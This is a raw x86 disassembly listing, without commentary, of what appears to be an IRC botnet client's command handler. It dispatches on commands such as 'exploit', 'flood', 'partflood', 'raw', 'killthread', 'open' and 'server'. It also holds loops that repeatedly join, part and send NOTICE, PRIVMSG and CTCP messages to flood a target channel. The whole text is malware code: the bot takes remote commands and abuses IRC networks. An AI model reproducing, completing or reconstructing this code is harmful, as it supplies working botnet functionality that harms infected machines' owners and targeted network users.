call near ptr 26B0857h
push eax
push offset dword_42BF80
jmp loc_402077
; ---------------------------------------------------------------------------
loc_40471F: ; CODE XREF: sub_401ACD+1019j
; sub_401ACD+102Ej
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40473F
push esi
call sub_41B779
test ax, ax
pop ecx
jz short loc_40473F
push esi
call sub_41B779
pop ecx
jmp short loc_404745
; ---------------------------------------------------------------------------
loc_40473F: ; CODE XREF: sub_401ACD+2C5Bj
; sub_401ACD+2C67j
mov ax, word_429084
loc_404745: ; CODE XREF: sub_401ACD+2C70j
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41B980
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BF54
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409A73
push ebx
lea eax, [ebp+var_2C4]
push 6
push eax
call sub_40B0F7
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset dword_40E504
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_404814
loc_4047FE: ; CODE XREF: sub_401ACD+2D45j
cmp [ebp+var_968], ebx
jnz loc_401E94
push 32h
nop
call near ptr 26A0F44h
jmp short loc_4047FE
; ---------------------------------------------------------------------------
loc_404814: ; CODE XREF: sub_401ACD+2D2Fj
nop
call near ptr 26B0857h
push eax
push offset unk_42BF14
jmp loc_402077
; ---------------------------------------------------------------------------
loc_404825: ; CODE XREF: sub_401ACD+FC5j
; sub_401ACD+FDAj ...
push edi
push offset aSecure ; "secure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40484D
push edi
push offset aSec ; "sec"
call sub_41C070
pop ecx
mov [ebp+var_A10], ebx
test eax, eax
pop ecx
jnz short loc_404857
loc_40484D: ; CODE XREF: sub_401ACD+2D67j
mov [ebp+var_A10], 1
loc_404857: ; CODE XREF: sub_401ACD+2D7Ej
push [ebp+var_88]
lea eax, [ebp+var_A94]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_A10], ebx
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
mov [ebp+var_A08], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40489E
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40489E: ; CODE XREF: sub_401ACD+2DCAj
push eax
push offset dword_42BEE0
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 22h
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_A14], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_419E1A
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_A14]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_404912
loc_4048FC: ; CODE XREF: sub_401ACD+2E43j
cmp [ebp+var_A04], ebx
jnz loc_4083BD
push 32h
nop
call near ptr 26A0F44h
jmp short loc_4048FC
; ---------------------------------------------------------------------------
loc_404912: ; CODE XREF: sub_401ACD+2E2Dj
call near ptr 26B0857h
nop
push eax
push offset dword_42BEA4
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_404923: ; CODE XREF: sub_401ACD+F9Bj
; sub_401ACD+FB0j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A6AF
loc_404934: ; CODE XREF: sub_401ACD+2AB9j
; sub_401ACD+2ACFj ...
add esp, 0Ch
jmp loc_409855
; ---------------------------------------------------------------------------
loc_40493C: ; CODE XREF: sub_401ACD+F71j
; sub_401ACD+F86j
push offset unk_42BDF4
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_404946: ; CODE XREF: sub_401ACD+F47j
; sub_401ACD+F5Cj
push offset aAbosel7V4 ; "abosel7 v4"
push offset dword_42BDE4
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_404955: ; CODE XREF: sub_401ACD+F1Dj
; sub_401ACD+F32j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4049AF
push esi
call sub_41B779
cmp eax, ebx
pop ecx
jl short loc_4049A7
cmp eax, 3
jge short loc_4049A7
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40499F
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42D0B8
push eax
call sub_41B886
add esp, 0Ch
mov [esi], bl
jmp loc_40828C
; ---------------------------------------------------------------------------
loc_40499F: ; CODE XREF: sub_401ACD+2EB1j
push eax
push offset unk_42BDB8
jmp short loc_4049EC
; ---------------------------------------------------------------------------
loc_4049A7: ; CODE XREF: sub_401ACD+2E9Cj
; sub_401ACD+2EA1j
push eax
push offset unk_42BD8C
jmp short loc_4049EC
; ---------------------------------------------------------------------------
loc_4049AF: ; CODE XREF: sub_401ACD+2E91j
mov edi, [ebp+arg_18]
xor esi, esi
loc_4049B4: ; CODE XREF: sub_401ACD+2F03j
push [ebp+var_90]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4049D7
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4049B4
jmp loc_40828C
; ---------------------------------------------------------------------------
loc_4049D7: ; CODE XREF: sub_401ACD+2EF7j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset unk_42D0B8
loc_4049EC: ; CODE XREF: sub_401ACD+2153j
; sub_401ACD+2ED8j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
jmp loc_408289
; ---------------------------------------------------------------------------
loc_4049FD: ; CODE XREF: sub_401ACD+EF3j
; sub_401ACD+F08j
push [ebp+var_8C]
push offset dword_42D02C
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4034A6
call sub_40B2C0
push ebx
nop
call near ptr 77E75CB5h
loc_404A23: ; CODE XREF: sub_401ACD+1A12j
push offset aGet ; "get"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404AB1
cmp dword_4CEE08, ebx
jz short loc_404A4B
push offset dword_4CE7E8
loc_404A41: ; CODE XREF: sub_401ACD+2FE2j
push offset unk_42BD50
jmp loc_404AE1
; ---------------------------------------------------------------------------
loc_404A4B: ; CODE XREF: sub_401ACD+2F6Dj
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
nop
call near ptr 71AB157Eh
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E30]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_E30]
push eax
jmp short loc_404A41
; ---------------------------------------------------------------------------
loc_404AB1: ; CODE XREF: sub_401ACD+2F65j
push esi
call dword_4CB694
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_404AC5
push offset unk_42BD10
jmp short loc_404AE1
; ---------------------------------------------------------------------------
loc_404AC5: ; CODE XREF: sub_401ACD+2FEFj
push offset dword_4CE7E8
call sub_41BEB0
pop ecx
mov dword_4CEE08, 1
pop ecx
push esi
push offset unk_42BCE4
loc_404AE1: ; CODE XREF: sub_401ACD+2F79j
; sub_401ACD+2FF6j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_4034FE
; ---------------------------------------------------------------------------
loc_404AF5: ; CODE XREF: sub_401ACD+19FAj
push edi
push offset aExploit ; "exploit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404BF8
mov eax, [ebp+var_4]
mov esi, offset aF ; "#f"
mov [ebp+var_13E4], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F4], eax
mov edi, 80h
push esi
lea eax, [ebp+var_1474]
push edi
push eax
mov [ebp+var_13EC], 1
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_14F4]
push esi
push edi
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_1504]
push [ebp+arg_10]
push 10h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_1504]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BCAC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 8
push eax
call sub_40B0F7
add esp, 18h
mov [ebp+var_13E8], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1504]
push ebx
push eax
push offset word_40B8A2
push ebx
push ebx
call near ptr 26B0000h
nop
mov ecx, [ebp+var_13E8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_404BE7
loc_404BD1: ; CODE XREF: sub_401ACD+3118j
cmp [ebp+var_13DC], ebx
jnz loc_40828C
push 32h
nop
call near ptr 26A0F44h
jmp short loc_404BD1
; ---------------------------------------------------------------------------
loc_404BE7: ; CODE XREF: sub_401ACD+3102j
nop
call near ptr 26B0857h
push eax
push offset unk_42BC6C
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_404BF8: ; CODE XREF: sub_401ACD+3037j
push edi
push offset aReconnect_in ; "reconnect.in"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4097C1
push edi
push offset aRin ; "rin"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4097C1
push edi
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409779
push edi
push offset aRinms ; "rinms"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409779
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41C070
mov edi, dword_427078
pop ecx
test eax, eax
pop ecx
jnz loc_4057DF
nop
call near ptr 26C066Dh
push eax
call sub_41B8D8
push [ebp+arg_10]
push offset aLoad ; "load"
call sub_41C070
add esp, 0Ch
test eax, eax
jnz short loc_404CFE
cmp [ebp+esi+var_80], ebx
jz short loc_404CFE
push [ebp+esi+var_80]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417A60
add esp, 0Ch
lea eax, [ebp+var_2C4]
push [ebp+esi+var_84]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42BC04
push eax
call sub_41B886
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404CFE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_404CFE: ; CODE XREF: sub_401ACD+31BAj
; sub_401ACD+31C0j ...
push [ebp+arg_10]
push offset dword_42BC00
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404D6A
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D6A
push offset asc_42D128 ; " "
push offset dword_42BBFC
push eax
call sub_417EEF
push eax
lea eax, [ebp+var_50F4]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_50F4]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BBEC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_404D6A: ; CODE XREF: sub_401ACD+3242j
; sub_401ACD+324Dj
push [ebp+arg_10]
push offset dword_42BBE8
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404DD6
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DD6
push offset asc_42D128 ; " "
push offset dword_42BBFC
push eax
call sub_417EEF
push eax
lea eax, [ebp+var_4BF0]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_4BF0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BBD4
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_404DD6: ; CODE XREF: sub_401ACD+32AEj
; sub_401ACD+32B9j
push [ebp+arg_10]
push offset aNt ; "nt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404E42
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E42
push offset asc_42D128 ; " "
push offset dword_42BBFC
push eax
call sub_417EEF
push eax
lea eax, [ebp+var_46EC]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_46EC]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_404E42: ; CODE XREF: sub_401ACD+331Aj
; sub_401ACD+3325j
push [ebp+arg_10]
push offset aMode ; "mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404EAE
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404EAE
push offset asc_42D128 ; " "
push offset dword_42BBFC
push eax
call sub_417EEF
push eax
lea eax, [ebp+var_4DF0]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_4DF0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_404EAE: ; CODE XREF: sub_401ACD+3386j
; sub_401ACD+3391j
push [ebp+arg_10]
push offset aJoin ; "join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404EED
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404EED
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
loc_404EED: ; CODE XREF: sub_401ACD+33F2j
; sub_401ACD+33FDj
push [ebp+arg_10]
push offset aPart_0 ; "part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404F2C
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F2C
push eax
lea eax, [ebp+var_2C4]
push offset aPartS ; "part %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
loc_404F2C: ; CODE XREF: sub_401ACD+3431j
; sub_401ACD+343Cj
push [ebp+arg_10]
push offset aPartflood ; "partflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404F70
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F70
push offset dword_427638
push eax
lea eax, [ebp+var_2C4]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_404F70: ; CODE XREF: sub_401ACD+3470j
; sub_401ACD+347Bj
push [ebp+arg_10]
push offset aPnick ; "pnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404FE9
cmp [ebp+esi+var_88], ebx
jz short loc_404FE9
nop
call near ptr 26C066Dh
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B4]
push edx
push [ebp+esi+var_88]
push offset dword_42BB64
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_17B4]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB5C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
loc_404FE9: ; CODE XREF: sub_401ACD+34B4j
; sub_401ACD+34BDj
push [ebp+arg_10]
push offset dword_42BB50
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405136
cmp [ebp+esi+var_88], ebx
jz loc_405136
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427638
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset dword_427638
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 0C8h
idiv ecx
push edx
call edi
push offset dword_427638
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_405136: ; CODE XREF: sub_401ACD+352Dj
; sub_401ACD+353Aj
push [ebp+arg_10]
push offset dword_42BB4C
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4051D0
cmp [ebp+esi+var_88], ebx
jz short loc_4051D0
nop
call near ptr 26C066Dh
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C4]
push edx
push [ebp+esi+var_88]
push offset dword_42BB24
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 24h
loc_4051D0: ; CODE XREF: sub_401ACD+367Aj
; sub_401ACD+3687j
push [ebp+arg_10]
push offset aNick_0 ; "nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4052D2
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_4052D2
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
lea eax, [ebp+var_4BC]
push eax
call sub_417ADE
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB5C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
lea eax, [ebp+var_4BC]
push eax
call sub_417ADE
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB5C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 1F4h
idiv ecx
push edx
call edi
lea eax, [ebp+var_4BC]
push eax
call sub_417ADE
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB5C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
loc_4052D2: ; CODE XREF: sub_401ACD+3714j
; sub_401ACD+3723j
push [ebp+arg_10]
push offset aChgnick ; "chgnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405319
lea eax, [ebp+var_1808]
push eax
call sub_417ADE
pop ecx
lea eax, [ebp+var_1808]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB5C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
loc_405319: ; CODE XREF: sub_401ACD+3816j
push [ebp+arg_10]
push offset aMsg ; "msg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405408
cmp [ebp+esi+var_88], ebx
jz loc_405408
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_42763C
push [ebp+esi+var_88]
push offset dword_42BBEC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BBEC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BBEC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_405408: ; CODE XREF: sub_401ACD+385Dj
; sub_401ACD+386Aj
push [ebp+arg_10]
push offset aNotice_0 ; "notice"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4054F7
cmp [ebp+esi+var_88], ebx
jz loc_4054F7
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_42763C
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_4054F7: ; CODE XREF: sub_401ACD+394Cj
; sub_401ACD+3959j
push [ebp+arg_10]
push offset aCtcp ; "ctcp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40560E
cmp [ebp+esi+var_88], ebx
jz loc_40560E
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BADC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42BAC4
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42BAAC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42BAAC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
loc_40560E: ; CODE XREF: sub_401ACD+3A3Bj
; sub_401ACD+3A48j
push [ebp+arg_10]
push offset aMix ; "mix"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405734
cmp [ebp+esi+var_88], ebx
jz loc_405734
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BADC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_405734: ; CODE XREF: sub_401ACD+3B52j
; sub_401ACD+3B5Fj
push [ebp+arg_10]
push offset aRegister ; "register"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40577A
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_40577A
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_40577A: ; CODE XREF: sub_401ACD+3C78j
; sub_401ACD+3C83j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4062C4
mov edi, offset dword_4D46EC
loc_405796: ; CODE XREF: sub_401ACD+3CE8j
cmp dword ptr [edi-4], 1
jnz short loc_4057A9
mov eax, [edi]
cmp eax, ebx
jbe short loc_4057A9
push eax
call dword_4CB6EC
loc_4057A9: ; CODE XREF: sub_401ACD+3CCDj
; sub_401ACD+3CD3j
add edi, 210h
cmp edi, offset dword_4DAE0C
jl short loc_405796
cmp [ebp+var_8], ebx
jnz loc_4062C4
push ebx
push [ebp+var_4]
push offset unk_42BA4C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
jmp loc_4062C4
; ---------------------------------------------------------------------------
loc_4057DF: ; CODE XREF: sub_401ACD+3196j
mov edi, [ebp+arg_8]
push edi
push offset aNick_0 ; "nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409759
push edi
push offset aN ; "n"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409759
push edi
push offset aJoin ; "join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409732
push edi
push offset aJ ; "j"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409732
push edi
push offset aPart_0 ; "part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409712
push edi
push offset aPt ; "pt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409712
push edi
push offset aRaw ; "raw"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4096D6
push edi
push offset aR ; "r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4096D6
push edi
push offset aKillthread ; "killthread"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4095D6
push edi
push offset aK ; "k"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4095D6
push edi
push offset aC_quit ; "c_quit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409528
push edi
push offset aC_q ; "c_q"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409528
push edi
push offset aC_rndnick ; "c_rndnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094D6
push edi
push offset aC_rn ; "c_rn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094D6
push edi
push offset aPrefix ; "prefix"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094BD
push edi
push offset aPr ; "pr"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094BD
push edi
push offset aOpen ; "open"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40948F
push edi
push offset aO ; "o"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40948F
push edi
push offset aServer ; "server"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409472
push edi
push offset aSe ; "se"
